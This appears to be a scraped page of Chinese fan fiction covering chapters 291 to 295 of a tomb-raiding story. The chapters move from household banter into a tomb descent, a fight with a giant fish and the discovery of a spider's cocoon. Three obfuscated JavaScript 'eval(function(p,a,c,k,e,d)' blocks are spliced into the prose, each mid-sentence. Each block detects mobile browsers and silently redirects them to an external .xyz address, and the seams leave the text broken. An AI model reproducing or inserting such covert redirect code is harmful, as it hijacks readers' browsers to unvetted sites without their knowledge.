;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517987|163500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道说些什么，最后只憋出了一句清淡些就好。 胖子记在了心里，所以今天的饭菜在放到桌子上的时候，忙让霍秀秀直瘪嘴，“我最喜欢的菜你怎么都给下掉了！” “哪有！在这里呢，没看见嘛！”胖子连忙把绿油油菜叶后的新一盘草料放在了霍秀秀的面前。 霍秀秀简直要被胖子的哄小孩手段折服了，“不是，你把我当瞎子吗？这里除了菜还是菜。” “起码改善点伙食嘛，天天吃肉也不好呀，再不济这还有炒蛋嘛哈哈！”胖子用锅铲给霍秀秀舀了半碗。 待这顿饭结束后，吴峫让解雨臣安排了九门人，开始对汪家进行彻底的大清盘，并且用这几天的时间，重新梳理了一遍能够用上的装备，不过他最担忧的，还是尚未完全恢复的张祈灵还有衍卜寸。 天知道他们怎么对自己的生命安全如此罔顾 但只要张祈灵眼睛一撇，神色再软个几分，就叫吴峫受不了这样直接的撒娇攻势，甚至，小哥还为了张祈灵重新煅了两把新的软刃出来，这几天恨不得张祈灵想要什么他都能掏出来。 而黑瞎子这时候，便去联系了黎簇爱家暴的父亲，并给了一笔钱让他去逍遥，随后，他还为黎簇、苏万、杨好他们空降了几个补课老师，直接将这三个孩子搞得叫苦连天。 衍卜寸则和渡荆一起研究着汪灿手腕上的红线，并且试图从中提取力量来源。 与此同时，一直躺在地上的红眼，则用那副残缺的眼球，静静的看着这一帮没有欲望完全为了守护而存在的人类。 他们可以为了未知的目标去共同努力。 求的不是财富，不是长生，不是任何弹指一挥解决万物的能力。 他们可以为翻新地里的泥土而不错过落日余晖，可以为了一顿简单的吃食而开怀大笑，更可以为了未来的人生，压缩现今好不容易有的幸福时光…… 它终于在这一刻，明白了衍卜寸带自己来这个世界的目的，并清楚的懂得了人类的强大是他们自己赋予的。 而上面的神所降下的福祉，对于一切美好的定义实在是过于浅薄了。 红眼再次深刻意识到，它们真的错估了人类的价值。 明明一群志同道合的人凑在一起，本身就是任何物质都无法复刻的幸福。 第291章 你脸红 “你说的是对的……”红眼施力，尽量让自己将眼液流尽的躯壳，能够转向正在和渡荆讨论的衍卜寸面前。 衍卜寸原本还在观察红线的目光，经由它声音提醒后，偏移过去，轻飘飘的定在虹膜已经白透的红眼身上。 但他并没有因为红眼能够理解人类的想法，而沾沾自喜的觉得这是自己的功劳，只是依旧保持那不远不近的态度，提醒道，“你该离开了吧。” 这说的就是自己待的时间长，开始碍眼了。 “嗯，到时间了，你就没有什么想要问我的吗？”红眼的反问单独穿透了衍卜寸的耳蜗，直达大脑里。 它知道衍卜寸这是在赶人，可它完全不会因为身体已经趋近极限而着急。 衍卜寸听后，摇头表达出自己的观点，“这个世界上，已经失去了一个为你们效劳的鄢啸南，所以，我认为我不需要再继续步他的后尘，或者去向你问所谓的答案。” 红眼算是发现了，衍卜寸真是那种油盐不进的人，好的坏的都不要，只凭借他自己的眼力与经验去判断一切，倒与鄢啸南那些个想要看破未来道路的人不一样。 不过，就在他们说话的时候，张祈灵已经敲门走了进来，而渡荆则走出去，带上门给他们溜了空间交流。 事实上，张祈灵并不喜欢黏着衍卜寸，此番前来，正是因为感同身受的，懂得衍卜寸那个煎熬着等待伤愈，又不肯休憩停歇下来的想法，才会如此来察看他的身体状况，毕竟，如果真的忽略不管的话，这家伙就会成宿的和渡荆泡在实验室里不出来。 更因为衍卜寸为自己和大家罔顾自我安危的态度，打动了同样舍己为人的张祈灵，这就让张祈灵对他的态度反倒成为了一种恭敬的关心。 不过，衍卜寸并不喜欢张祈灵以一个当自己为救命恩人的模样对待自己。 当然张祈灵并不觉得所谓感激与恭敬和朋友相处的界限与行动是怎样划分的，他在肉眼确定完衍卜寸精神面貌不错之后，便扯了把凳子，坐在了旁边看着对方。 而衍卜寸则深吸了一口气，心提到了嗓子眼。 他没想到张祈灵会留下来，毕竟，平常连吴峫他们从不会这样长久的注视自己，因为兄弟们是知道自己的眼睛才完全恢复的，自然而然，衍卜寸就能从每次的相视中，看出他们怕触及自己过去只能看见灵魂的回避感。 可是，张祈灵作为异处于世的存在，实在是分不清其中经年累月由情商所带来的怜悯，更不懂人类社会本身拥有的属于成年人的体面， 所以，这让他的眸中永远直率的带着属于他灵魂深处的灼热。 而衍卜寸被看久了，脸颊的温度便也跟着攀升上来了，这让他忍不住扭头，想要劝张祈灵自先去乖乖休息，结果，自己嘴还没张开，就见这人徒然起身，将手突兀地贴上了自己的额头。 张祈灵冰冷指尖的质感像上好的美玉，而无需嗅闻，只须片刻衍卜寸就能察觉到对方惯用的干净角皂香。 待那属于张祈灵的气息彻底将衍卜寸笼罩，他的眼神一下子就滞空了，大脑飞速运转，又快速反应过来，赶紧转移注意力将视线瞥回到自己掌心中属于汪灿的那一截红线上。 “怎么了吗？”衍卜寸虽然这么问着，但他不想让自己羞涩的糗样在张祈灵面前一览无余，不是难堪，就是觉得自己的心思实在是见不得人，而且他还不知道张祈灵喜不喜欢男生，然后，对自己有没有那么一丁点，异于和其他人相处的想法…… 衍卜寸这么思索着，那原本收敛住的眸子便控制不住的开始用余光去瞥，可处于视线范围内的张祈灵却并没有什么特别的反应，他那双明亮的瞳眸中，只有显而易见对衍卜寸此番躲闪的疑惑。 所以，意料之中的事发生了。 张祈灵将手放下来，耿直的学着胖子平日里安慰人的姿态，生涩地选择轻拍衍卜寸的肩膀，言简意赅道，“你脸红，不舒服。” 衍卜寸一听，就知道对方连害羞这种情绪都不能理解，再瞧瞧那担忧的目光，真是以为自己是出什么问题才来关心的。 这样的真挚，让衍卜寸清楚自己刚才的胡思乱想，简直是在亵渎自己的神！ 不过，衍卜寸怀着愧疚感，还是有些失落于张祈灵不是因为喜欢而这样触碰自己的，但还是被张祈灵给可爱到了。 “没事的，可能就是这里太热了，我出去透口气。”衍卜寸连忙找了个借口，防止出现更多让张祈灵误解的情况。 张祈灵立马起身，跟着一块往外走。 可刚打开门，就见胖子拿起锅铲追着吴峫跑，嘴里喊着青天大老爷要替他伸冤，“天真，你就是非得要学甜品吗？你倒是买个烤箱啊！别拿我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537885|163500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅开玩笑，青天大老爷啊，我这辈子就没见过蒸个蛋糕能把锅烧漏的人！” “这不是小哥和祈灵喜欢吗？我想着外面的吃多了，也得尝尝家里自己做的，我蒸鸡蛋羹都会！锅穿了绝对是概率问题，胖子你冷静……”吴峫往后退着。 现在黑瞎子和解雨臣出去清算汪家了，小哥目前在巡山，所以当吴峫视线一撇，看到衍卜寸和张祈灵简直就是见到了救星，连忙扑了过来，赖在了两个人的旁边，“祈灵，卜寸你俩可要救救我，生气的胖子可不是我能招架住的！” 这有恃无恐，狐假虎威的怂样，让张祈灵立刻想到了当初吴峫躲在小哥身后的时候。 只是此情此景重新上演，角色却换了人，而这样的信任，让张祈灵心里头反倒是诚惶诚恐起来，也许是现阶段吴峫给的爱太多了，让张祈灵至今都有些不适应如此的相处模式。 可张祈灵还是坚定的将吴峫拢到了自己身后，虽然他不认为胖子是个威胁，或是别的什么，但他确实愿意顺着吴峫的话去这么行动。 胖子看到吴峫找到靠山的模样，简直被气笑了，撸起袖子，拿着锅铲，吨位连带着速度都有质的提升，“你们护着天真有啥用啊！晚上用什么做饭，你们吃什么，现在不让他把口袋里的**爷爷拿出来，我就要出去沿街乞讨给别人当孙子了！” “家里不是有四个锅吗？两个电的一个煤气锅。”衍卜寸赶紧拦住胖子。 说到锅胖子更是脖子一梗，锅铲都快干衍卜寸脸上去了，“他把三个锅全霍霍了！电的胶黏跟涂502了似的，我刷了一个小时都没弄下去，煤气锅你们也听过了，漏的我都能当伊丽莎白圈套在脖子上了！幸亏是我闻到味下来的早，不然他一个人都能在厨房造核弹了！” 原本还在劝人消气的衍卜寸真是没辙了，他扭过头，看着还在张祈灵身后眨巴着卡姿兰大眼睛的吴峫，倒是懂胖子的火冒三丈了。 只可惜，最后在胖子嘴上火力全开的**下，吴峫不堪其扰，只能干巴巴从自己为数不多的资产里掏出一张常用的卡，并恭敬的送到了胖子的手里聊表歉意。 而胖子用手机一查，才发现里头只有两块二毛六，气的差点将吴峫撅了，最后张祈灵武力压制，而衍卜寸偷偷把自己的卡递给了吴峫，才把这份钱送胖子添了新锅，以此避免了世纪之战。 第292章 会后悔 在一切东西备好之后，由衍卜寸充当引领员驾车从东北地带朝南方地带前进，经过两个月的时间在到达湖南和广东的交界处，衍卜寸才彻底确认这红线的位置。 而在吴峫用望远镜从扎营地眺望远山的时候，衍卜寸便于他身侧开了口，“这里有座墓，需要在大河逆行的出口处往里进，而汪灿要找的家伙，已经在里面了。” 看不到红线的吴峫，只能点头，并重新点了一遍物资，确认如果被困，一个月还是能够撑下去的。 处在旁边的黑瞎子没有帮忙整理的打算，只是习惯性地去擦着自己的备用墨镜，“徒儿啊，现在九门里的精英都跟着你呢，怕什么啊？” 吴峫瞥了他一眼，可很快就将目光停留在坐在崖边的张祈灵和小哥处，其中担忧与关心，到底是没从那有些拉不下面的嘴里说出些好听的话来。 “我是怕不带着你的青椒肉丝炒饭，你到时候和我急眼。”吴峫将登山包的链条打开，依次确认装备和食物。 黑瞎子憋着嘴，半晌笑了出来，对着现在明显年轻的吴峫调侃，“真是十年过去，徒儿你嘴皮子越发溜了。” “彼此彼此。”吴峫将包重新拉上，回道。 而被吴峫惦念的张祈灵，则一直在仔细的观察山下的流水，以及山峦重叠蜿蜒形成的巨**奇观。 他和小哥都清楚衍卜寸所说的墓，应该是史诗级别的大，毕竟朝着水流的方向往前再走几公里，就能看到最著名的滴水盆了。 当然，解雨臣也是这么想的，所以在来到此地后，他就开始做着前期攻略。 资料显示，滴水盆镶于两崖之间，底平口阔，会自然而然让雨水落入其中。 并且一到雨季便会成为河川，如果是有人在目前这个季节下去，正好底部的盆还没有汇满水，但泥土质地稍显湿润，打盗洞有一定粘合和支撑力，不会让入口塌陷下去。 就在解雨臣逐字分析后，队伍也启程走入林中。 汪灿虽然作为被红线牵系的人员，但参与感却不是特别的强，毕竟他只是答应来玩一玩，如果发生意料之外的事，他也是会为了自己的安危先一步离开的。 所以，汪灿一直处于队伍中不溜的位置，不过好在他愿意带着物资，这就让陪黑瞎子守末尾的张祈灵，轻松的没有背任何的东西。 可张祈灵虽然负重减少了，但敏锐度却是有着显著提升，他四下观察，发现这里的植被虽然茂盛，但并没有想象当中的超脱预期，起码都在人类可接受的范围内，总体来看，真是比过去经历的那些地方要正常太多了。 但当他们真的到达滴水盆后，才发现这里远比他们想象的危险太多了。 张祈灵的视线紧盯在明显人工打在河床的盗洞处，原本黄色的泥土染上了血液干涸的褐色，并且还在向外延伸开来。 真的有人下去了，而且估计存活概率也不大。 “啧，看这打洞的架势，是地道的老鼠。”胖子蹲下，用手捻了点土在手上。 吴峫也瞧了眼地面，“幸亏我们来的快，这河床上的脚印还在，看样子下去的估计有十来个人。” “我真好奇，是什么宝贝让这帮人这么趋之若鹜，诶，不对呀，如果他们把东西拼死拿出来，那岂不是一场空，叫咱们家汪小灿同学拿什么呀？”黑瞎子咬字暧昧，说的亲昵。 实际是为了试探汪灿究竟是想走还是想退，毕竟一路上都能看出来这人的兴致缺缺。 而汪灿也不是会上头的人，在看到明显盗洞都这样的惨状后，他是真觉得自己的命可比未知的东西要重要的多。 随即，汪灿的头一撇，同黑瞎子相视，“你们拿着线下去不就行了吗，反正源头不在我……” 这话意思就是，自己只不过是个由头，至于结果怎么样，也不需要自己出人出力。 黑瞎子舔了下唇，笑着对惜命的人表示尊重。 可衍卜寸却在下一刻，罕见的拽住了汪灿的胳膊，“我看到你要找的东西了，不，更准确来讲他是人。” “说些什么情深旧梦的胡话就想让我下去，你疯了吧！”汪灿将手抽了出来，觉得衍卜寸简直不可理喻。 毕竟汪灿自己清楚，他怎么可能会有要找的人，汪家的那些**，他恨不得他们死绝才好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555549|163500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就算他找只虫子都不可能是在找人。 衍卜寸这就是，打着让自己找到想要的东西的旗号，结果却是来耍自己玩的！ 但衍卜寸的表情却不是唬人的，而这样坚定且专注的模样，令谁看了都想细听下去他说的所有话，“你不见到那个人，你这辈子都会后悔的，因为他现在接近死亡的边缘，灵魂状态很虚弱。” 汪灿都怀疑，衍卜寸这道德**的本事是不是诓了十来个人练出来的了，可下一秒，就见自己直接被胖子架了起来。 还来不及挣扎，他转眼就见吴峫和小哥等人立即将洛阳铲拿出来，重新扩宽盗洞，一番操作简直是强买强卖！ “你们真不觉得自己这样会遭报应吗！”汪灿骂道。 可胖子将他跟小孩子似的举高高，一本正经的表达自己的无条件信任，“我家卜寸小同志那可是说一不二的典范，怎么可能骗你，而且，都说了会后悔了！你到底知不知道后悔的意思！” 天呀，汪灿觉得自己答应这件事就是错误，怎么会有这么强盗的一群人凑在一起啊！ 但盗洞很快就重新掘好了，张祈灵虽然刚才不被允许动手帮忙，可趁其挖完后便直接跳了下去，当鞋底踩在湿润的泥土里时，他将自己的手电筒打开。 待灯光亮后，张祈灵看到的是层叠因为想要往外逃，而被迫压倒在一起的人。 他们的血液浸透了前沿的所有方砖，沾染上黄澄的泥土，眼球已经脱落出来，连舌头也掉在口腔之外，每个人的耳朵都异常的流着血，像是某种生物为了防止他们听到什么，而有意识的破坏了所有的感官。 “我靠，这是**墙吧！”胖子拎着汪灿下来的那一刻，便被这样的场面给震撼到了。 这些家伙似乎还未死的太久，但因为环境潮湿还是略微散发着些许臭味，不过，因为盗洞的隐秘性还可以，导致这里并没有什么苍蝇钻进来产卵。 而小哥在观察后，并没有表示有多么难以置信，只是点了一下人头，发现这才不过十个人，与外面的脚印明显不符合，所以，便提醒着众人后头仍有剩余，“别的，在深处……” 第293章 一次机会 这意思就是要为了找到那个人而往里走了。 胖子首当其冲，从包里将纱布拿出来，狠狠地缠在了手上，并像拔萝卜一样，从侧边拎着尸体的胳膊，尽量将能够清出一条路来。 眼见着胖子动手迅速的张祈灵和其他人也赶紧帮着忙，没一会儿便有了能走的地方。 张祈灵率先动身，直接越过大家率先前行，这里的甬道并不算宽敞，反而因为散了一地的陪葬品，而在打眼后就知道没有落脚的地方。 看来这些人是想要把这些东西带走。 可张祈灵蹲下看了几秒，却没能从这些东西上感觉到特别之处，甚至还能直接从纹理上，辨别出这根本是一堆翻旧的破铜烂铁。 后头进来的吴峫见到张祈灵不着急的样子，疑惑地问，“是怎么了吗？” “假的。”张祈灵在说完后，迅速站起身，他按紧了腰间的刀柄，并将原本淡然的视线转移到前方深邃的黑暗之中。 黑瞎子似乎是知道张祈灵在看什么一样，并将自己的目光也跟着偏转，而他的耳尖与小哥同时动了一下。 随即，在互相对视后，黑瞎子笑着一点不嫌事大的开口，“那帮家伙把假的陪葬品带出来了，而真的家伙正在找自己被偷走的东西，所以在乱跑。” “什么真的假的，能跑到这里来吗？”胖子不明所以，并将自己刚才沾满尸臭的绷带扯了下去，在闻了下掌心差点被熏死，连忙吐着舌头，用包里的水给自己手涮了一遍。 等手上异味去除一些后，胖子才继续追问，“不会又是啥八爪鱼吧？我真求求了，它每次都来阴的！” “我估计不是，听声音不像。”衍卜寸这么回答，“先往前走吧，因为那个人也在移动。” 汪灿听到后却急眼了，“你不是说他快要死了吗？怎么还能动起来！” “墓穴里的一切都有可能发生，他就算被粽子扛起来跑都有可能！汪灿小朋友，你就劝人一点好吧！”胖子语重心长的拍着汪灿的肩膀。 而汪灿并不觉得自己对一个素未谋面的人要多么的去积口德，又不是供祖宗，况且还不知道衍卜寸是不是找借口让自己下来的。 但张祈灵却没有太多杂念，他只是穿过前面的甬道后，发现了下去的天井处还挂着前人的登山绳，张祈灵没有再系一遍，而是直接攥着就滑了下去。 底下的水里带着明显的腥味，却与何罗鱼的不同，这是人类鲜血的味道。 张祈灵环视周围，便发现了那个被开膛破肚的家伙正以头朝下的姿势躺在水面上，而周围的木头似乎加厚过，感觉很隔音，可其实这对墓室没有任何的作用，毕竟没有人会觉得死人需要抵御外界的所有声音。 而上头的吴峫发现下去的张祈灵迟迟没有动静，赶紧将登山绳挂上便滑了下去，脸上有些焦急，“是底下有什么吗？” “人。”张祈灵言简意赅道。 吴峫听进去，便瞧了一眼那明显内脏都浮出来的尸体，但心里已经在这些年里没有太大的波澜了。 只是淡定的点头，冲着还没下来的大家道，“那东西还没赶过来，现在可以往下走。” “得嘞，都让让哈！别让胖哥哥砸到你们了。”胖子吆喝了一声便将锁扣栓在腰上往下扥。 结果，不知道是太长时间掌勺没做过这样的粗活，或者是刚才搬运尸体的力量耗损太多，导致放松下来后的体重在不知不觉中成倍增加，那坚固的绳子竟然啪嗒一下子断了。 张祈灵抬头，赶紧将胖子接进怀里，胖子不好意思的笑了一下，赶紧将身上的半截绳子扒拉了掉。 可上面的人却发现了不对劲，因为刚才牵引胖子的绳子的横截面，竟然那么的光滑，不像崩断的，更像是被某种生物咬下来的。 但黑瞎子罕见的没有先一步出声，而是用眼睛观察后，将食指放在自己唇瓣上冲另外几人嘘声，“我先下了，你们注意些。” “好。”解雨臣点头，上前确认黑瞎子的锁扣和绳子坚固后，才放他下去。 而就在黑瞎子落进水里的一瞬间，才发现原本应该在底下的吴峫等人，竟然凭空消失了。 “靠！”黑瞎子原本还不想惊动藏在墓穴里的那家伙，所以才在刚才让小哥他们别说话。 可现在，队里的三个人同时丢了，他嘴上是一点也忍不了不吐脏话。 与此同时，张祈灵将手电筒丢了，赶紧搂住了吴峫和胖子。 刚才的情况是水池处的闸门突然开了，应该是墓室的换水系统被不知名的机制所启动，导致吸力强大到直接将人给拽了进去。 张祈灵这才想通，估计刚才看到的隔音木就是为了让盗墓者完全没有机会呼救。 而现在自己抱着两个人，空不出手，只能让吴峫和胖子进行照明工作。 水流并不算很干净，这让张祈灵在睁眼时能够感受到强烈的刺痛，他意识到这一点后，不顾吴峫和胖子想要帮助自己的反抗，直接从上到下抹了一把他们眼皮，示意不要睁开。 随即，他抬眼用头顶了两下，却发现回头路封的紧，硬的出奇。 看来这条路行不通了，而且黑瞎子他们也对自己的信号没有回应。 张祈灵赶紧转移视线去找那个排水的闸门，而就在他看到的时候，同时也感觉到了一股奇妙的威压。 浑浊的环境里，他立刻转移视线，连忙撤身。 那与自己险些撞上的，竟是一个瞎了眼的巨型深海鱼，它正摆动着被绿藻包裹的尾巴，并堵在出路漫无目的游行。 张祈灵在观察完后，立即低头，忍住眼眶的酸痛，看了一眼怀里的胖子和吴峫。 他们最多能在这样的环境里屏气两分钟，毕竟下来的实在是太突然，留存在体内的空气真的太少了。 而现今，除了过去赌一把之外就没其他好方法了。 张祈灵咬紧牙关，唇角溢出些许的气泡，并将胖子断节的绳子缠在吴峫的身上，后将吴峫的卡扣挂在自己的腰带上。 那被小哥所锻造的软刃，在此刻终于有了亮相的机会，并在被鲜血染尽的脏污水中，借由手电筒光晕反射出了极致的冷寒。 张祈灵单手又扯出了吴峫的枪，并带着二人向那条鱼快速游近。 一次机会，自己杀掉巨鱼，并掰开闸门只有一次机会。 如果做不到，吴峫和胖子就会窒息而亡。 第294章 巨型蜘蛛 张祈灵和吴峫以及胖子的消失，让汪灿这个以个人生命为首先的人，已经开始头脑风暴了。 他并不想破口大骂什么，只是现今的危险程度已经超脱预期，这让汪灿烦躁的揉了把头，“你们还想在这里待着不懂啊，我可要走了。” 可并没有人回应汪灿，因为黑瞎子与小哥正忙着去探查地形，他们用手敲击墙体，衍卜寸则将视线四处游转。 最终，他们同时锁定了脚下所踩的水池。 而黑瞎子再三确认其厚度后，便将背包里的备用雷管掏了出来，可却一反常态的听到其内部汹涌的水浪声。 与此同时，伴随着刺入鱼颅脑的寒刃与鱼尾相撞，破空的枪响也紧追其后。 眼前的鲜血不断在蔓延，原本脏污不堪的水如今更加浑浊，但张祈灵依旧没有放弃，甚至因为水压导致自己的重量是漂浮起来的，他反而加剧了手上的力道，子弹也从枪管里飞的越来越多。 巨鱼太过于疼痛，导致尾部甩动的频率大幅提升，直将水搅得一团乱。 张祈灵能够感觉到，眼睛的疼痛感也在增强，耳畔被水浸透，任所有的声息都被包裹住，而吴峫在察觉到张祈灵反复变换身位时，就知道这东西在水下有多难对付了。 而巨鱼在反复的挣扎下，竟然真的有豁开软刃的迹象。 紧急情况中，张祈灵快速将腰身翻了半圈，尽了力气，扭动软刃，将其刃锋生生怼进了它的骨缝中，随着脊椎的碎裂声响起，伴随着的是头顶上惊人的爆破声。 虽然衍卜寸与黑瞎子还有小哥，考虑到了张祈灵在底下可能在与什么生物缠斗，但比起安静的等待张祈灵他们自己去处理，显然加入其中会让效率更高。 “小心点，别砸到他们！”黑瞎子这么叫着，也不知道是在吩咐谁，毕竟他转头一看，就发现哑巴和衍卜寸那叫一个信仰之跃落的极快。 而在小哥入水后的刹那，他手电筒的灯光也扫到了张祈灵的背影，在不知道谁的鲜血晕染下，恍惚得见对方的腰上，用那登山绳缠紧着死命憋气的吴峫和胖子。 张祈灵将两个人安稳的护在了身后，可他自己却在与那堪称变异的巨鱼缠斗。 在见到这样的场景后，小哥没有丝毫的犹豫便像梭鱼般冲了过去，衍卜寸手中的红线也如张开血盆大口吞噬的食人花一般，以那诡谲的姿态绽放开来，而黑瞎子则在落下去的瞬间，便让自己手中的枪开出了一记打破寂静的子弹。 张祈灵感受到背后的援助，略微偏身，令黑瞎子的攻击精准的擦过自己的发丝，落定在了巨鱼的头颅上。 被张祈灵如同定海神针打进脊骨的巨鱼，根本来不及躲，原本被张祈灵打如筛子的鱼头，立即出现了一个肉眼可见的黑洞。 好疼…… 张祈灵稍微揉了一下眼，并快速将软刃拔了出来，而衍卜寸见到张祈灵的撤退状，立刻眼疾手快的用红线将他们三人拉至身边。 紧接着，衍卜寸去看张祈灵的情况，却发现在污水与巨鱼鲜血的纠缠下，对方的眼白都已经发红，可他还是执拗的指着那处闸门。 知道张祈灵意思的衍卜寸点头，随后用红线将张祈灵的眼睛裹上，并拍着他的肩膀，吩咐其不要动弹以后，便快速绕过那张开嘴的鱼，将这个怪物留给小哥和黑瞎子处理，而自己则去用所有的力气打开闸门。 年久失修的铁架已经上了锈，混合着鲜血的腥，幸亏衍卜寸的身体异于常人，才没有在这样的情况感觉到眼前刺痛。 而处于巨鱼攻击范围内的小哥，则将黑金古刀卡进它的嘴中，让其利齿无法正常咬合，并让刀尖从上牙膛贯穿进张祈灵刚才所刺的颅脑。 且黑瞎子也在不停的开枪，子弹在水中的射出后，还会有一连串的小气泡。 张祈灵能够明显感觉到它们炸裂在自己耳旁的酥麻感，可同时，一个人影也从自己身边落下。 那是刚才还打算逃跑的汪灿，他竟然一反常态的跟来了。 张祈灵没有那么多疑问，只是紧紧拽住吴峫和胖子，等待其巨鱼解决后，能够通过闸门去往相对安全的地方。 至于汪灿，则感觉手忙脚乱的，抓住张祈灵的后方衣角，真不是他自己想跟来的，谁知道上头的甬道有东西在跑，他只能够从对方快速的移动中窥见其冰山一角。 它有着融于黑色的毛绒身躯，不像人，更像是一只变态的巨型蜘蛛，在爬行过程中，屁股后面还带着明显的丝质线。 汪灿并不觉得，自己有本事单独和这个蜘蛛五五开。 而且…… 汪灿屏气，同样感觉到水下的危险，却大大在心里松了口气，起码跟着吴峫他们，至少还能有一条活路。 而在前方将巨鱼切割的小哥，已经在它身躯落下之际，回头游近，拉住了张祈灵的手。 这里的水真的太脏了，小哥的眼睛也是红的。 黑瞎子看到后，并不意外，随即收了枪，作为队尾护着大家去了衍卜寸打开的闸门后。 在游了不到五米后，他们终于从中爬到了墓室，吴峫和胖子憋气太久了，在头超过水面的那一刻，便不要命的呼吸着，生怕自己之后再也没有这样的机会。 张祈灵尚还不清楚周围的情况，只是用手扒住了周围，勉强撑起身子。 而衍卜寸，已经将自己包里备着的生理盐水拿出来，给张祈灵和其他人分着冲眼睛了。 在摘下红线，令一阵清冽水流清晰贯彻后，张祈灵睁开模糊的眸子，环看了一圈周围，他们目前是从观赏池里游出来的，而这里的墓室已经被上批人盗过了。 张祈灵能够看到，处于中间的棺椁已经被掀了盖儿，就连自己身边的雕像都被扣了眼，所有的金器不翼而飞，留下的只有空落的灰印，和散落一地的破铜烂铁。 “那个人在哪里呢，能看到吗？”吴峫在确认大家的情况都不错后，便这么问着衍卜寸。 衍卜寸帮忙给大家冲了遍眼睛，听到吴峫的话，便抬头看了一下，用手指了个方向，“那里有暗门，再走二十米左右就到了，他也在想办法往外逃。” “但想要出来的不止他呢。”黑瞎子擦着自己的枪管，耳尖动了一下，“那大家伙也在移动。” 第295章 要回来了 胖子默默举起手，“不是，我问一下，这嘴嚼了两轮的大家伙究竟是啥啊？” 显然，这样的疑问让黑瞎子喜爱吊人胃口的坏心眼得到了满足，黑瞎子一把揽过胖子的肩膀，正好跟从大部队朝着衍卜所指的方向而去。 “我也不太清楚呢，等找到那个人我就跟你细讲。”黑瞎子挑着眉，这么说道，目光却转到了张祈灵的背影。 此时，张祈灵领在最前方，但视线却借着巡查的姿态，正反复瞥向汪灿。 黑瞎子跟随着张祈灵的注意力偏转，发现汪灿的脸色略微有些惨白，但却不是因为刚才下方巨鱼所带来的恐惧。 这样子，汪灿一定看到了连自己都不知道的东西。 而汪灿，在察觉那冷淡的视线游离在自己身上的时候，赶紧重新管控了脸上的表情，只是已经发白的唇半天还是回不了色，让他看起来像丢了一魂似的。 可事实上，汪灿从来不是那种会被吓到的家伙，他这辈子看过太多死尸，下过太多的墓了，连多难堪的粽子，多狡黠的人心……他都直面的对抗过。 可是，刚才呈现在自己面前的生物，简直不能和过去的任何家伙相提并论。 汪灿的手于身侧颤动，张祈灵和黑瞎子共同打量到后，眸子向下移着，只见汪灿脚下虚浮的步伐，使得那背包轻微颠簸着，弓腰缩脖，俨然一副六神无主的模样。 不过可惜的是，张祈灵和黑瞎子并不是什么会哄人的家伙。 所以，张祈灵只是咽下毫无身份可提的疑虑，走在队伍最前端，继续深入甬道。 而黑暗中，终于传来属于人类节奏的喘息声，听着像是一个男人。 张祈灵一手拿着电筒，一边提着软刃。 而尚不明所以的吴峫，则攥紧了张祈灵的衣角，他脑袋转着看了遍周围，用自己的经验判断道，“这里的陪葬品被拿的差不多了，可被卜寸观测的人还没出来，是不是被困住了，而不是他找不到路？” “是有这个可能。”解雨臣接着吴峫的话说，“毕竟我们走到这里，所行进的路程太短了，而且衍先生说我们其实离他很近了，就证明这几步路，他自己其实是可以出来的，如果这么久都没见到，可能……” 黑瞎子原本还在搂着胖子的手臂收了回去，像是察觉了什么，这让他的表情都严肃了起来，“可能已经凶多吉少了。” “不能这么说丧气话啊！”胖子跺着脚，连忙将原本的步伐又加快了几分，“现在都下来了，起码得把人带出去吧！” 这么说完，胖子还没歇脚，便差点撞上急停下来的张祈灵的后背。 而张祈灵则在下一秒钟蹲了下去，并用手电筒的灯光照着下方的窟窿。 吴峫看了一眼，发现要不是张祈灵及时停步，估计这足以吞噬黑暗的地方，直接会让自己一脚踏空。 “人在。”张祈灵透过缠绕的紧密的蛛网，看到了一个超级大的茧房。 吴峫探头，“这是给他包起来了吧，但这蛛丝……需要多大的蜘蛛才能织出来？” 许久未发声的汪灿，终于抢在吴峫等人再次接茬之前开了口，“身长大概有六米！我看到了。” “什么时候？你怎么不早说！”胖子张大了嘴，一掌就拍在了汪灿的肩膀上，但力道不大，只是惊诧下的条件反射。 汪灿好不容易自己缓和消化好的画面，又再度涌上心头，可这窝闷的火，却怎么也聚不起来了，只听他的声音颤抖，“就是在你们下水之前看到的，但现在的任务又不是要找它，我只问你们能不能解决！我是要活着出去的！” “可以。”小哥在确认后，点头郑重的承诺。 张祈灵也自动补全小哥的话，“需要时间。” “你听吧，两个大佬都在这里说可以，你就放一百个心吧！”胖子安慰了一下汪灿，便继续回到了正题，“但这都成盘丝洞了，该怎么下去？” 张祈灵用发丘指拨弄着，“没毒。” “确实没毒，但就是有点粘。”黑瞎子也挑了一根在食指上，转而起身，随意抻着胳膊活动筋骨，“早下早结束吧，趁那家伙还没回来，至于胖子嘛，你在这里待着放风，防止到时候给你拉不起来，OK不？” 胖子小眼瞪墨镜的眨了眨。 